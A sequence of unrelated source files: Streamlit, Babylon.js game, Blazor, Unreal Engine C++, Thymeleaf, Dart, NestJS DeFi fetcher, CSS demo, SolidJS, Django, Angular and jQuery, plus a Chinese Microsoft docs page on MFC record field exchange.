{st.session_state.orcid_user_info['given_name']} {st.session_state.orcid_user_info['familiy_name']}") st.write(f"Orcid ID: {st.session_state.orcid_user_info['sub']}") # Your existing Streamlit content goes here st.title('Your uploaded files') st.write('A simply filtered table with your uploaded datasets, with a number of editing options: update, delete (restricted!)') st.write('orcid_user_info', st.session_state.orcid_user_info) else: st.sidebar.error('You are not loged in to ORCID')
import { Chance } from "chance"; import { QuestItemType, QuestStatus } from "./core/enums"; import { Events } from "./core/events"; import { IngameTime } from "./core/game-time"; import { Logic } from "./core/logic"; import PlayerGoal from "./player-goal"; import { AdvancedDynamicTexture, TextBlock, Rectangle, Button, Image } from "@babylonjs/gui"; import SM from './core/sound-manager' import { Notifier } from "./notify"; const TARGET_NUM_GOALS = 3; const MIN_GENERATION_WAIT_TIME = 5; const GENERATION_PROB = 90; const chance = new Chance(); export default class GoalManager { private _goals: Array<PlayerGoal> = []; private _lastGenTime: number = 0; private _ui; constructor() { this._goals.push(PlayerGoal.createRandom()); this._goals.push(PlayerGoal.createRandom()); this._goals.push(PlayerGoal.createRandom()); this._sort(); Events.on("gametime:update", (time: number) => { this._checkGoals(); this._sort(); this.updateGUI() if (this._goals.length < TARGET_NUM_GOALS && time - this._lastGenTime >= MIN_GENERATION_WAIT_TIME && chance.bool({ likelihood: GENERATION_PROB }) ) { this._goals.push(PlayerGoal.createRandom()); this._lastGenTime = IngameTime.getTime(); } }) Events.on("inventory:add", this.updateGUI.bind(this)); this._lastGenTime = IngameTime.getTime(); } public reset() { this._goals.push(PlayerGoal.createRandom()); this._goals.push(PlayerGoal.createRandom()); this._goals.push(PlayerGoal.createRandom()); this._sort(); this._lastGenTime = 0; } private _sort() { this._goals.sort((a, b) => a.timeLeft - b.timeLeft) } private _checkGoals() { const fail = {}; this._goals.forEach((goal, i) => { if (goal.status === QuestStatus.FAILURE) { fail[i] = true; } }) if (Object.keys(fail).length > 0) { this._goals = this._goals.filter((_, i) => !fail[i]) this._lastGenTime = IngameTime.getTime(); } } private _dismissGoal(index: number) { if (index >= 0 && index < this._goals.length) { this._goals.splice(index, 1) this.updateGUI(); SM.playSound("goal:dismiss") Notifier.info("Goal has been dismissed...", { duration: 2 }); } } private _collectGoal(index: number) { if (index >= 0 && index < this._goals.length) { const goal = this._goals.splice(index, 1)[0]; Events.emit("goal:success", goal) SM.playSound("goal:collect") this.updateGUI(); } } public addGUI(gui: AdvancedDynamicTexture) { this._ui = gui; const mainIcon = this._ui.getControlByName("GoalImage") as Image mainIcon.source = "assets/icons/trophy-cup.png" for (let i = 0; i < TARGET_NUM_GOALS; ++i) { const cancel = this._ui.getControlByName("GoalCancel"+i) as Button cancel.onPointerClickObservable.add(() => this._dismissGoal(i)) const collect = this._ui.getControlByName("GoalCollect"+i) as Button collect.onPointerClickObservable.add(() => this._collectGoal(i)) } this.updateGUI(); } public updateGUI() { const updateGoal = (index: number) => { if (index < this._goals.length) { const rect = this._ui.getControlByName("Goal"+index) as Rectangle rect.isVisible = true; const goal = this._goals[index]; const goalItem = goal.items[0]; const goalReward = goal.rewards[0]; const item = this._ui.getControlByName("GoalItem"+index) as TextBlock item.text = `${Logic.getItemAmount(goalItem.item as QuestItemType)} / ${goalItem.amount} ${goalItem.toItemString()}` const reward = this._ui.getControlByName("GoalReward"+index) as TextBlock reward.text = `Reward: ${goalReward.amount} ${goalReward.toItemString()}` const time = this._ui.getControlByName("GoalTimeLeft"+index) as TextBlock time.text = goal.deadline === null ? "Time Left: unlimited" : `Time Left: ${goal.timeLeftInDays} d ${goal.timeLeftInHours} h` const collect = this._ui.getControlByName("GoalCollect"+index) as Button const prev = collect.isEnabled; collect.isEnabled = goal.status === QuestStatus.SUCCESS; if (!prev && collect.isEnabled) { Notifier.info("You can collect the rewards for a goal", { duration: 2 }); } } else { const rect = this._ui.getControlByName("Goal"+index) as Rectangle rect.isVisible = false; } }; for (let i = 0; i < TARGET_NUM_GOALS; ++i) { updateGoal(i) } } }
using BlazorBootstrap; using Microsoft.AspNetCore.Components; using Microsoft.AspNetCore.Components.Authorization; using ShopOnline.Models.Dtos; using ShopOnline.Web.Services.Contracts; using System.Security.Claims; namespace ShopOnline.Web.Pages.Account { public class LoginBase : ComponentBase { protected UserForAuthenticationDto loginModel = new UserForAuthenticationDto(); [Inject] public IUserService UserService { get; set; } [Inject] public NavigationManager NavigationManager { get; set; } [Inject] protected ToastService ToastService { get; set; } public string ErrorMessage { get; set; } protected async Task HandleLogin() { try{ // Call your authentication service or API to perform user login var result = await UserService.LoginAsync(loginModel); if (result.IsAuthSuccessful) { ToastService.Notify(new(ToastType.Success, $"Employee details saved successfully.")); NavigationManager.NavigateTo("/"); } else { // Display an error message to the user ErrorMessage = "Invalid credentials. Please try again."; } } catch(Exception ex) { ErrorMessage = ex.Message; ToastService.Notify(new(ToastType.Danger, $"Error: {ex.Message}.")); Console.WriteLine(ex.Message); } } private async Task Logout() { // await UserService.(loginModel); // Redirect to the login page or another appropriate page NavigationManager.NavigateTo("/account/login"); } protected List<ToastMessage> messages = new List<ToastMessage>(); protected void ShowMessage(ToastType toastType) => messages.Add(CreateToastMessage(toastType)); private ToastMessage CreateToastMessage(ToastType toastType) => new ToastMessage { Type = toastType, Title = "Blazor Bootstrap", HelpText = $"{DateTime.Now}", Message = $"Hello, world! This is a toast message. DateTime: {DateTime.Now}", }; } }
// Copyright Epic Games, Inc. All Rights Reserved. #pragma once #include "Templates/Function.h" #include "Templates/SharedPointer.h" #include "Templates/UnrealTemplate.h" #if !(UE_BUILD_SHIPPING || UE_BUILD_TEST) #define METASOUND_FRONTEND_ACCESSPTR_DEBUG_INFO 1 #else #define METASOUND_FRONTEND_ACCESSPTR_DEBUG_INFO 0 #endif namespace Metasound { namespace Frontend { class FAccessPoint; /** The access token mirrors the lifespan of a object in a non-intrusive * manner. A TAccessPtr<> can be created to reference an object, but use * an access token to determine whether the referenced object is accessible. * When the access token is destroyed, the access pointer becomes invalid. */ struct FAccessToken {}; /** TAccessPtr * * TAccessPtr is used to determine whether an object has been destructed or not. * It is useful when an object cannot be wrapped in a TSharedPtr. A TAccessPtr * is functionally similar to a TWeakPtr, but it cannot pin the object. * In order to determine whether an object as accessible, the TAccessPtr * executes a TFunctions<> which returns object. If a nullptr is returned, * then the object is not accessible. * * Object pointers held within a TAccessPtr must only be accessed on * the thread where the objects gets destructed to avoid having the object * destructed while in use. * * If the TAccessPtr's underlying object is accessed when the pointer is invalid, * a fallback object will be returned. * * @tparam Type - The type of object to track. */ template<typename Type> class TAccessPtr { enum class EConstCast { Tag }; enum class EDerivedCopy { Tag }; public: using FTokenType = FAccessToken; using ObjectType = Type; static Type FallbackObject; /** Returns a pointer to the accessible object. If the object is * inaccessible, a nullptr is returned. */ Type* Get() const { #if METASOUND_FRONTEND_ACCESSPTR_DEBUG_INFO CachedObjectPtr = GetObject(); return CachedObjectPtr; #else return GetObject(); #endif } /** Returns an access pointer to a member of the wrapped object. * * @tparam AccessPtrType - The access pointer type to return. * @tparam FunctionType - A type which is callable accepts a reference to the wrapped object and returns a pointer to the member. * * @param InGetMember - A FunctionType accepts a reference to the wrapped object and returns a pointer to the member. */ template<typename AccessPtrType, typename FunctionType> AccessPtrType GetMemberAccessPtr(FunctionType InGetMember) const { using MemberType = typename AccessPtrType::ObjectType; TFunction<MemberType*()> GetMemberFromObject = [GetObject=this->GetObject, GetMember=MoveTemp(InGetMember)]() -> MemberType* { if (Type* Object = GetObject()) { return GetMember(*Object); } return static_cast<MemberType*>(nullptr); }; return AccessPtrType(GetMemberFromObject); } TAccessPtr() : GetObject([]() { return static_cast<Type*>(nullptr); }) { #if METASOUND_FRONTEND_ACCESSPTR_DEBUG_INFO Get(); #endif } /** Creates a access pointer using an access token. */ TAccessPtr(TWeakPtr<FTokenType> AccessToken, Type& InRef) { Type* RefPtr = &InRef; GetObject = [AccessToken=MoveTemp(AccessToken), RefPtr]() -> Type* { Type* Object = nullptr; if (AccessToken.IsValid()) { Object = RefPtr; } return Object; }; #if METASOUND_FRONTEND_ACCESSPTR_DEBUG_INFO Get(); #endif } /** Creates an access pointer from another using a const casts. */ template<typename OtherType> TAccessPtr(const TAccessPtr<OtherType>& InOther, EConstCast InTag) { GetObject = [GetOtherObject=InOther.GetObject]() -> Type* { return const_cast<Type*>(GetOtherObject()); }; #if METASOUND_FRONTEND_ACCESSPTR_DEBUG_INFO Get(); #endif } /** Creates an access pointer from another using a static cast. */ template < typename OtherType, typename = decltype(ImplicitConv<Type*>((OtherType*)nullptr)) > TAccessPtr(const TAccessPtr<OtherType>& InOther, EDerivedCopy InTag=EDerivedCopy::Tag) { GetObject = [GetOtherObject=InOther.GetObject]() -> Type* { return static_cast<Type*>(GetOtherObject()); }; #if METASOUND_FRONTEND_ACCESSPTR_DEBUG_INFO Get(); #endif } TAccessPtr(const TAccessPtr<Type>& InOther) = default; TAccessPtr<Type>& operator=(const TAccessPtr<Type>& InOther) = default; TAccessPtr(TAccessPtr<Type>&& InOther) = default; TAccessPtr& operator=(TAccessPtr<Type>&& InOther) = default; protected: template<typename RelatedAccessPtrType, typename RelatedType> friend RelatedAccessPtrType MakeAccessPtr(const FAccessPoint& InAccessPoint, RelatedType& InRef); template<typename ToAccessPtrType, typename FromAccessPtrType> friend ToAccessPtrType ConstCastAccessPtr(const FromAccessPtrType& InAccessPtr); template<typename OtherType> friend class TAccessPtr; #if METASOUND_FRONTEND_ACCESSPTR_DEBUG_INFO mutable Type* CachedObjectPtr = nullptr; #endif TFunction<Type*()> GetObject; TAccessPtr(TFunction<Type*()> InGetObject) : GetObject(InGetObject) { #if METASOUND_FRONTEND_ACCESSPTR_DEBUG_INFO Get(); #endif } }; template<typename Type> Type TAccessPtr<Type>::FallbackObject = Type(); /** FAccessPoint acts as a lifecycle tracker for the TAccessPtrs it creates. * When this object is destructed, all associated TAccessPtrs will become invalid. */ class FAccessPoint { public: using FTokenType = FAccessToken; FAccessPoint() { Token = MakeShared<FTokenType>(); } FAccessPoint(const FAccessPoint&) { // Do not copy token from other access point on copy. Token = MakeShared<FTokenType>(); } // Do not copy token from other access point on assignment FAccessPoint& operator=(const FAccessPoint&) { return *this; } private: template<typename AccessPtrType, typename Type> friend AccessPtrType MakeAccessPtr(const FAccessPoint& InAccessPoint, Type& InRef); FAccessPoint(FAccessPoint&&) = delete; FAccessPoint& operator=(FAccessPoint&&) = delete; TSharedPtr<FTokenType> Token; }; template<typename AccessPtrType, typename Type> AccessPtrType MakeAccessPtr(const FAccessPoint& InAccessPoint, Type& InRef) { return AccessPtrType(InAccessPoint.Token, InRef); } template<typename ToAccessPtrType, typename FromAccessPtrType> ToAccessPtrType ConstCastAccessPtr(const FromAccessPtrType& InAccessPtr) { return ToAccessPtrType(InAccessPtr, ToAccessPtrType::EConstCast::Tag); } } }
<!DOCTYPE html> <html lang="en" xmlns:th="http://www.thymeleaf.org"> <head> <meta charset="UTF-8"> <title>图片管理</title> <link rel="stylesheet" type="text/css" href="/static/css/bootstrap.css"> <link rel="stylesheet" type="text/css" href="/static/css/index.css"> <link rel="stylesheet" type="text/css" href="/static/css/util.css"> </head> <body th:with="user=${#session.getAttribute('currentUser')}"> <div class="container"> <div class="col-lg-12" style="height: 1080px; background-color:rgba(255,255,255,0.5)"> <h1 class="title" th:text="${user}+'的个人博客'">二狗的个人博客</h1> <!--导航栏--> <nav id="navbar" class="navbar navbar-default" role="navigation"> <div class="container-fluid"> <div class="navbar-header"> <a class="navbar-brand" href="/">社区主页</a> </div> <div> <ul class="nav navbar-nav"> <li><a href="/index">个人博客</a></li> <li><a>个人资料</a></li> <li><a>博客分类</a></li> <li><a href="/set/setting">自定义设置</a></li> <li><a href="/blog/createPre">发表博客</a></li> <li><a class="current">图片管理</a></li> </ul> </div> </div> </nav> <!--博客主体--> <div class="row"> <!--左边内容--> <div class="col-lg-8"> <!--图片列表--> <ul class="nav nav-tabs"> <li class="active"><a href="#">图片列表</a></li> <li><a href="/image/uploadPre">图片上传</a></li> </ul> <table class="table"> <thead> <tr> <th>ID</th> <th>名称</th> <th>上传时间</th> <th>操作</th> </tr> </thead> <tbody> <tr th:each="image:${images}"> <th scope="row" th:text="${image.getId()}">1</th> <td th:text="${image.getName()}">1</td> <td th:text="${image.getUploadTime()}">1</td> <td> <div role="presentation" class="dropdown"> <button class="btn btn-default dropdown-toggle" data-toggle="dropdown" href="#" role="button" aria-haspopup="true" aria-expanded="false"> 操作<span class="caret"></span> </button> <ul class="dropdown-menu"> <li><a target="_blank" th:href="@{/{id}/{name}(id=${image.getUserId()},name=${image.getName()})}">查看大图</a></li> <li><a th:href="@{/image/delete(id=${image.getId()})}">删除图片</a></li> </ul> </div> </td> </tr> </tbody> </table> </div> <!--右边内容--> <div class="col-lg-4"> <!--公告面板--> <div class="notice"> <div class="notice-header"> <p>公告</p> </div> <div class="notice-body"> <p th:text="${'用户名:'+user}">用户名:二狗</p> <p th:text="${'博客数:'+blogNumber}">2</p> <p th:text="${'总浏览数:'+totalReadTimes}">300</p> <p th:text="${'粉丝数:'+userAll.getFans()}">0</p> <p th:text="${'关注数:'+userAll.getFollow()}">0</p> </div> </div> <!--博客分类--> <div class="category"> <div class="category-header"> <p>博客类别</p> </div> <li th:each="category:${categories}"><a th:text="${category.getName()}">Java</a>(<span th:text="${category.getBlogNumber()}">1</span>)</li> </div> </div> </div> </div> </div> <!--<span class="noSelect" style="position: absolute; left: 100px; top: 100px;color: red ;">和谐</span>--> </body> <script type="text/javascript" src="/static/js/jquery-3.3.1.min.js"></script> <script type="text/javascript" src="/static/js/bootstrap.js"></script> <script type="text/javascript" src="/static/js/util.js"></script> <script type="text/javascript" src="/static/js/index.js"></script> <script th:fragment="scripts(scripts)"> let backImg = "url([[${#session.getAttribute('backImage')}]])"; document.body.style.backgroundImage = backImg; </script> </html>
part of sci_component; typedef ObjectToText = String Function(Object o); class SimpleSelectionListComponent<T> extends SelectionListComponent<T> { @override String get template => '''<div></div>'''; SimpleSelectionListComponent(List<T> _list, {required ObjectToText objectToText}) : super(_list, objectToText: objectToText); @override Element getListElement(T object) => htmlElement(''' <div class="list-element"> <div class="icon"></div> <div class="value">${objectToText(object!)}</div> </div>'''); } class SelectionListComponent<T> extends Component { @override Iterable<String> get rootClasses => ['SelectionListComponent']; @override String get template => '''<div><div class="header"><div class="title"></div><div class="menu"></div></div></div>'''; List<T> _list; late ObjectToText objectToText; SelectionListComponent(this._list, {ObjectToText? objectToText}) { if (objectToText != null) { this.objectToText = objectToText; } else { this.objectToText = (Object object) => object.toString(); } draw(); } T? _selected; List<T> get list => _list; set list(List<T> l) { _list = l; _selected = null; triggerEvent(ComponentListChangedEvent.fromList(this, _list)); draw(); } T? get selected => _selected; set selected(T? o) { _selected = o; // if (this.isInitialized) draw(); draw(); } Element getListElement(T object) => htmlElement(''' <div class="list-element"> <div class="icon"></div> <div class="value">${objectToText(object!)}</div> <div class="remove-btn"></div> <div class="edit-btn"></div> </div>'''); void draw() { root.children .where((e) => !e.classes.contains('.header')) .forEach((e) => removeChild(e)); // if (this._list == null) return; for (var object in _list) { var li = getListElement(object); if (_selected == object) li.classes.add("active"); li.onClick.listen((evt) => _setSelected(object, li)); root.children.add(li); } } void _setSelected(T object, Element li) { _selected = object; root .querySelectorAll(".active") .forEach((el) => el.classes.remove("active")); li.classes.add("active"); triggerEvent(ListSelectionChangedEvent<T?>.fromSelection(this, selected)); } } class MultiSelectionListComponent<T> extends Component { static String DefaultObjectToText(Object object) => "$object"; List<T> _list; late Set<T> _selections; String? _template; ObjectToText objectToText; bool showSelectAll; MultiSelectionListComponent(this._list, {Set<T>? selections, this.showSelectAll = false, this.objectToText = DefaultObjectToText}) : super() { _selections = selections ?? <T>{}; listElement.style.setProperty("overflow-y", "auto"); if (this.showSelectAll) { addSubscription(selectAllElement, selectAllElement.onChange.listen(_onSelectAllChanged)); } else { selectAllContainerElement.style.display = 'none'; } } List<T> get list => _list; set list(List<T> l) { _list = l; if (showSelectAll && selectAllElement.checked!) { _selections = _list.toSet(); } else { _selections = <T>{}; } triggerEvent(ComponentListChangedEvent.fromList(this, _list)); draw(); } Set<T> get selection => _selections; set selections(Set<T> s) { _selections = s; triggerEvent(ListSelectionChangedEvent.fromSelections(this, _selections)); draw(); } set template(String t) { _template = t; } @override String get template => _template == null ? ''' <div> <div class="checkbox" id="selectAllContainer" style="margin-bottom: 10px"> <label> <input class="hasRun" type="checkbox" id="selectAll"> Select all </label> </div> <div class="list-group well" id="list"></div> </div>''' : _template!; Element get listElement => selector('#list'); CheckboxInputElement get selectAllElement => selector<CheckboxInputElement>('#selectAll'); Element get selectAllContainerElement => selector('#selectAllContainer'); void draw() { removeAllChildrenFrom(listElement); _list.forEach(_drawElement); } Element getListElement(T object) { var itemHtml = ''' <div class="list-group"> <div class="list-group-item"> <div class="checkbox"> <label> <input type="checkbox" id="checkbox"> <h4 class="list-group-item-heading" id="name">${objectToText(object!)}</h4> </label> </div> </div> </div> '''; return htmlElement(itemHtml); } void _drawElement(T object) { var rowElement = getListElement(object); var checkboxElement = rowElement.querySelector("#checkbox") as CheckboxInputElement; checkboxElement.checked = this._selections.contains(object); this._listenCheckBox(checkboxElement, object); this.listElement.children.add(rowElement); } void _listenCheckBox(CheckboxInputElement checkboxElement, T object) { checkboxElement.onChange.listen((evt) { var hrefParent = checkboxElement.parent!.parent!.parent; if (checkboxElement.checked!) { _addSelection(object); hrefParent!.classes.add("active"); } else { _removeSelection(object); hrefParent!.classes.remove("active"); } }); } void _onSelectAllChanged(_) { if (selectAllElement.checked!) { selections = _list.toSet(); } else { selections = <T>{}; } } void _removeSelection(T o) { _selections.remove(o); triggerEvent(ListSelectionChangedEvent.fromSelections(this, _selections)); } void _addSelection(T o) { _selections.add(o); triggerEvent(ListSelectionChangedEvent.fromSelections(this, _selections)); } }
import { Inject } from '@nestjs/common'; import { BigNumberish } from 'ethers'; import { APP_TOOLKIT, IAppToolkit } from '~app-toolkit/app-toolkit.interface'; import { UniswapV2PoolOnChainTemplateTokenFetcher } from '~apps/uniswap-v2/common/uniswap-v2.pool.on-chain.template.token-fetcher'; import { KyberswapClassicViemContractFactory } from '../contracts'; import { KyberSwapClassicFactory, KyberSwapClassicPool } from '../contracts/viem'; import { KyberSwapClassicFactoryContract } from '../contracts/viem/KyberSwapClassicFactory'; import { KyberSwapClassicPoolContract } from '../contracts/viem/KyberSwapClassicPool'; export abstract class KyberSwapClassicPoolTokenFetcher extends UniswapV2PoolOnChainTemplateTokenFetcher< KyberSwapClassicPool, KyberSwapClassicFactory > { fee = 0; constructor( @Inject(APP_TOOLKIT) protected readonly appToolkit: IAppToolkit, @Inject(KyberswapClassicViemContractFactory) private readonly contractFactory: KyberswapClassicViemContractFactory, ) { super(appToolkit); } getPoolTokenContract(address: string): KyberSwapClassicPoolContract { return this.contractFactory.kyberSwapClassicPool({ address, network: this.network }); } getPoolFactoryContract(address: string): KyberSwapClassicFactoryContract { return this.contractFactory.kyberSwapClassicFactory({ address, network: this.network }); } getPoolsLength(contract: KyberSwapClassicFactoryContract): Promise<BigNumberish> { return contract.read.allPoolsLength(); } getPoolAddress(contract: KyberSwapClassicFactoryContract, index: number): Promise<string> { return contract.read.allPools([BigInt(index)]); } getPoolToken0(contract: KyberSwapClassicPoolContract): Promise<string> { return contract.read.token0(); } getPoolToken1(contract: KyberSwapClassicPoolContract): Promise<string> { return contract.read.token1(); } async getPoolReserves(contract: KyberSwapClassicPoolContract): Promise<BigNumberish[]> { const reserves = await contract.read.getReserves(); return [reserves[0], reserves[1]]; } }
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8" /> <meta http-equiv="X-UA-Compatible" content="IE=edge" /> <meta name="viewport" content="width=device-width, initial-scale=1.0" /> <title>Transitions</title> <link rel="stylesheet" href="/assets/css/style.css"> <style> .transitions { width: 100%; height: 100vh; background-color: var(--gray-100); display: flex; justify-content: center; align-items: center; } .origin { border: 2px dotted black; height: 104px; width: 104px; } .box { background-color: lightskyblue; height: 100px; width: 100px; display: flex; justify-content: center; align-items: center; } .box { /* transition-property: all; /* transition-delay: 1s; transition-duration: 3s; transition-timing-function: linear; */ /* animation: fadeIn 2s; */ } .checkbox { margin-right: 20px; } .checkbox:checked+.origin .box { /* transform: translateX(150px); background-color: black; color: white; border: 10px solid red; */ /* animation: fadeIn; */ /* animation: box-dissapear 2s forwards; */ animation: text-focus-in 1s both; /* animation-name: change-color; animation-duration: 2s; animation-fill-mode: forwards; */ /* animation: name duration timing-function delay iteration-count direction fill-mode; */ } @keyframes text-focus-in { 0% { filter: blur(12px); opacity: 0; } 100% { filter: blur(0px); opacity: 1; } } @keyframes rotate-center { 0% { transform: rotate(0); } 100% { transform: rotate(360deg); } } @keyframes scale-up-center { 0% { transform: scale(0.5); } 100% { transform: scale(1); } } @keyframes box-dissapear { 0% { transform: translateX(0); opacity: 1; } 70% { transform: translateX(220px); opacity: 1; } 100% { transform: translate(220px, -300px); opacity: 0; } } </style> </head> <body> <div class="transitions"> <input type="checkbox" class="checkbox" name="check" id="check"> <div class="origin"> <div class="box">Box</div> </div> </div> </body> </html>
import { createResource, createSignal } from "solid-js"; import { createStore } from "solid-js/store"; import { mande } from "mande"; const api = mande("https://swapi.dev/api/"); interface Planet { name?: string; climate?: string; terrain?: string; diameter?: string; population?: string; gravity?: string; rotation_period?: string; orbital_period?: string; } export const listPlanets = async (search?: string) => { try { setPlanets([]); //@ts-ignore const { results } = await api.get( `planets/${search ? `?search=${search}` : ""}` ); console.log(results); setPlanets( results.map((item: { url: string }) => ({ ...item, id: item.url.substring( item.url.length - 2, item.url.length - 1 ), })) ); } catch (error) { console.log(error); } }; export const listPlanet = async (id: string) => { try { const response: object = await api.get(`/planets/${id}/`); setPlanet({...response}); } catch (error) { console.log(error); } }; export const [planets, setPlanets] = createStore<Array<any>>([]); export const [planet, setPlanet] = createStore<Planet>({});
from django.db import models from categories.models import Category from django.contrib.auth.models import User class Post(models.Model): title = models.CharField(max_length=50) content = models.TextField() category = models.ManyToManyField(Category) # a post can be of multiple categories and a category can contain multiple many posts author = models.ForeignKey(User, on_delete=models.CASCADE) def __str__(self) -> str: return self.title
--- title: 資料錄欄位交換:RFX 的使用 ms.date: 11/04/2016 helpviewer_keywords: - RFX (ODBC), implementing ms.assetid: ada8f043-37e6-4d41-9db3-92c997a61957 ms.openlocfilehash: dc0cdcee758f4842b0738068a8a11c4e2e404155 ms.sourcegitcommit: c123cc76bb2b6c5cde6f4c425ece420ac733bf70 ms.translationtype: MT ms.contentlocale: zh-TW ms.lasthandoff: 04/14/2020 ms.locfileid: "81367150" --- # <a name="record-field-exchange-using-rfx"></a>資料錄欄位交換:RFX 的使用 本主題介紹您如何處理使用 RFX 與框架的作用。 > [!NOTE] > 本主題適用於從[CRecordset](../../mfc/reference/crecordset-class.md)派生的類,其中尚未實現批量行提取。 如果您使用大量資料列擷取,就會實作大量記錄欄位交換 (大量 RFX)。 大量 RFX 與 RFX 類似。 要瞭解差異,請參閱[記錄集:批量提取記錄 (ODBC)。](../../data/odbc/recordset-fetching-records-in-bulk-odbc.md) 以下主題包含相關資訊: - [記錄欄位交換:使用嚮導代碼](../../data/odbc/record-field-exchange-working-with-the-wizard-code.md)引入了 RFX 的主要元件,並解釋了 MFC 應用程式精靈和**添加類**(如[添加 MFC ODBC 消費者](../../mfc/reference/adding-an-mfc-odbc-consumer.md)中所述)為支援 RFX 而編寫的代碼,以及如何修改向導代碼。 - [記錄欄位交換:使用 RFX 函數](../../data/odbc/record-field-exchange-using-the-rfx-functions.md)可以解釋在重寫中寫入對 RFX 函數的`DoFieldExchange`調用。 下表顯示了您相對於框架為您做什麼的角色。 ### <a name="using-rfx-you-and-the-framework"></a>使用 RFX:您和框架 |您|架構| |---------|-------------------| |使用嚮導聲明記錄集類。 指定欄位資料成員的名稱和資料類型。|嚮導派生一個`CRecordset`類,並為您編寫[DoFieldExchange](../../mfc/reference/crecordset-class.md#dofieldexchange)重寫,包括針對每個欄位數據成員的 RFX 函數調用。| |( 選擇性的 )手動將任何所需的參數數據成員添加到類中。 手動`DoFieldExchange`為每個參數數據成員添加 RFX 函數調用,向[CFieldExchange::SetFieldType](../../mfc/reference/cfieldexchange-class.md#setfieldtype)添加參數組調用,並在[m_nParams](../../mfc/reference/crecordset-class.md#m_nparams)中指定參數的總數。 請參閱[記錄集:參數化記錄集 (ODBC)。](../../data/odbc/recordset-parameterizing-a-recordset-odbc.md)|| |( 選擇性的 )手動將其他列綁定到欄位數據成員。 手動增加[m_nFields](../../mfc/reference/crecordset-class.md#m_nfields)。 請參閱[記錄集:動態綁定數據列 (ODBC)。](../../data/odbc/recordset-dynamically-binding-data-columns-odbc.md)|| |構造記錄集類的物件。 在使用 物件之前,設置其參數數據成員的值(如果有)。|為了提高效率,框架使用 ODBC 預綁定參數。 傳遞參數值時,框架會將它們傳遞給數據源。 除非排序和/或篩選器字串已更改,否則僅發送參數值進行重新查詢。| |使用[CRecordset::打開](../../mfc/reference/crecordset-class.md#open)記錄集物件。|執行記錄集的查詢,將列綁定到記錄集的欄位數據成員,並調用`DoFieldExchange`在第一個選定的記錄和記錄集的欄位數據成員之間交換數據。| |使用[CRecordset:move](../../mfc/reference/crecordset-class.md#move)或功能表或工具列命令在記錄集中滾動。|調用`DoFieldExchange`將數據從新的當前記錄傳輸到欄位數據成員。| |添加、更新和刪除記錄。|將數據`DoFieldExchange`傳輸到數據源的調用。| ## <a name="see-also"></a>另請參閱 [記錄現場交換 (RFX)](../../data/odbc/record-field-exchange-rfx.md)<br/> [資料錄欄位交換:RFX 的運作方式](../../data/odbc/record-field-exchange-how-rfx-works.md)<br/> [資料錄集:取得 SUM 和其他彙總結果 (ODBC)](../../data/odbc/recordset-obtaining-sums-and-other-aggregate-results-odbc.md)<br/> [CRecordset 類別](../../mfc/reference/crecordset-class.md)<br/> [CFieldExchange 類別](../../mfc/reference/cfieldexchange-class.md)<br/> [巨集、全域函式和全域變數](../../mfc/reference/mfc-macros-and-globals.md)
import { NgModule } from '@angular/core'; import { BrowserModule } from '@angular/platform-browser'; import { AppRoutingModule } from './app-routing.module'; import { AppComponent } from './app.component'; import { BrowserAnimationsModule } from '@angular/platform-browser/animations'; import { MatSliderModule } from '@angular/material/slider'; import { MatInputModule } from '@angular/material/input'; import { MatIconModule } from '@angular/material/icon'; import { LoginFormComponent } from './feature/login-form/component/login-form.component'; import { ReactiveFormsModule } from '@angular/forms'; import { MatCardModule } from '@angular/material/card'; import { MatButtonModule } from '@angular/material/button'; import { HTTP_INTERCEPTORS, HttpClientModule } from '@angular/common/http'; import { MatSnackBarModule } from '@angular/material/snack-bar'; import { fakeBackendProvider } from './core/service/interceptor/fake-backend'; import { JwtModule } from '@auth0/angular-jwt'; import { Authorization } from './core/service/interceptor/authorization'; import { LayoutModule } from './core/layout/layout.module'; import { MatSidenavModule } from '@angular/material/sidenav'; import { CommonModule } from '@angular/common'; import { CartModule } from './feature/cart/cart.module'; import { MatListModule } from '@angular/material/list'; import { MatPaginatorModule } from '@angular/material/paginator'; import { MAT_DIALOG_DEFAULT_OPTIONS } from '@angular/material/dialog'; @NgModule({ declarations: [AppComponent, LoginFormComponent], imports: [ BrowserModule, AppRoutingModule, BrowserAnimationsModule, MatSliderModule, MatInputModule, MatIconModule, ReactiveFormsModule, MatCardModule, MatButtonModule, MatPaginatorModule, HttpClientModule, AppRoutingModule, MatSnackBarModule, CartModule, JwtModule.forRoot({ config: { tokenGetter: () => localStorage.getItem('access_token'), }, }), LayoutModule, MatSidenavModule, CommonModule, MatListModule, ], providers: [ { provide: MAT_DIALOG_DEFAULT_OPTIONS, useValue: { panelClass: 'mat-dialog-override' }, }, fakeBackendProvider, { provide: HTTP_INTERCEPTORS, useClass: Authorization, multi: true, }, ], bootstrap: [AppComponent], }) export class AppModule {}
import { Utilities } from "../site.js"; let utils = new Utilities(); let currentPage = 0; let pageSize = 20; init(); function init() { $("#perform_search").on("click", function () { currentPage = 0; changePage(currentPage); searchStudents(); }); $("#previous_page").on("click", function () { moveBackwards(); }); $("#next_page").on("click", function () { moveForward(); }); } function searchStudents() { $.ajax({ type: "POST", url: "/students/search/find", data: buildSearchQuery(), contentType: "application/json", beforeSend: utils.setAuthHeader, success: function (response) { fillPage(response) } }); } function fillPage(studentsFound) { $("#students_found").empty(); $.each(studentsFound, function (indexInArray, student) { $("#students_found").append( ` <tr> <td>${student.gradeBookNumber}</td> <td>${student.studentFullName}</td> <td>${student.groupName}</td> <td> <a href="${student.linkToModify}">Изменить</a> <a href="${student.linkToView}">Детально</a> </td> </tr> ` ); }); } function buildSearchQuery() { var json = JSON.stringify( { Name: $("#name_input").val(), GroupName: $("#group_input").val(), PageSize: pageSize, PageSkipCount: currentPage, } ); return json; } function moveForward() { if (lastFound == undefined || $.isEmptyObject(lastFound)) { return } currentPage++; changePage(currentPage); searchStudents(); } function moveBackwards() { if (currentPage <= 0) { return; } currentPage--; changePage(currentPage); searchStudents(); } function changePage(pageNumber) { $("#current_page").empty(); $("#current_page").append(String(pageNumber + 1)); }
